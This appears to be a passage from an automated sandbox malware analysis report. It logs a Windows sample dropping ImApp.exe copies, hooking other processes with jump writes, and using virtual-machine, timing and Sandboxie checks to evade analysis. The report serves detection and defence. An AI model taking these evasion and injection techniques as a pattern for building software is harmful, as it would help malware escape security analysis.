Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Memory written: PID: 6068 base: 3560005 value: E9 8B 2F E2 73	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Memory written: PID: 6068 base: 77382F90 value: E9 7A D0 1D 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 5984 base: 34B0005 value: E9 8B 2F ED 73	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 5984 base: 77382F90 value: E9 7A D0 12 8C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 6708 base: 800005 value: E9 8B 2F B8 76	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 6708 base: 77382F90 value: E9 7A D0 47 89	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 1424 base: 3370005 value: E9 8B 2F 01 74	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Memory written: PID: 1424 base: 77382F90 value: E9 7A D0 FE 8B	Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	System information queried: FirmwareTableInformation	Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 283EE12
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2F33FA5
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2F325EB
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2956CF1
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 3236100
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2F3AA29
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2808BA4
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2FC936D
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2F866AD
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 31F8572
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 29C232C
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 2F46230
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 3217816
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 27E3EA6
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	API/Special instruction interceptor: Address: 76AC7C44
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 28B06B3
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 31D6D67
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 299B9BA
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 3236100
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 27E3EA6
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2808BA4
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2956CF1
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 297BBEC
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2F3AA29
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2876138
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 321655D
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2F866AD
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 285AE8C
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 31EB70E
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 30B3EEC
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2FE5D85
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2F325EB
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 76AC7C44
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 76AC7945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 76AC3B54
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 29606B3
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 32A7322
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 3095D85
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 28B8BA4
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 32E6100
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2893EA6
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 32C655D
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2A06CF1
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 32A8572
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 32C7816
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2A2BBEC
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 290C46A
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2A4B9BA
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 28F4229
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 30C5EFB
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 31F8572
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 290AE8C
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2926138
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 299B844
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 309F169
Source: C:\Windows\SysWOW64\explorer.exe	API/Special instruction interceptor: Address: 11A317
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 3217816
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	API/Special instruction interceptor: Address: 2FC936D

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ImApp.exe, 0000000B.00000002.3965809373.000000000066A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL(
Source: ImApp.exe, 0000000C.00000002.4139775380.000000000073A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLL

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Special instruction interceptor: First address: 2FC9814 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Special instruction interceptor: First address: 2FC9814 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Special instruction interceptor: First address: 3079814 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3156			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6636			Jump to behavior

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcr80.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\vamfxsepn	Jump to dropped file
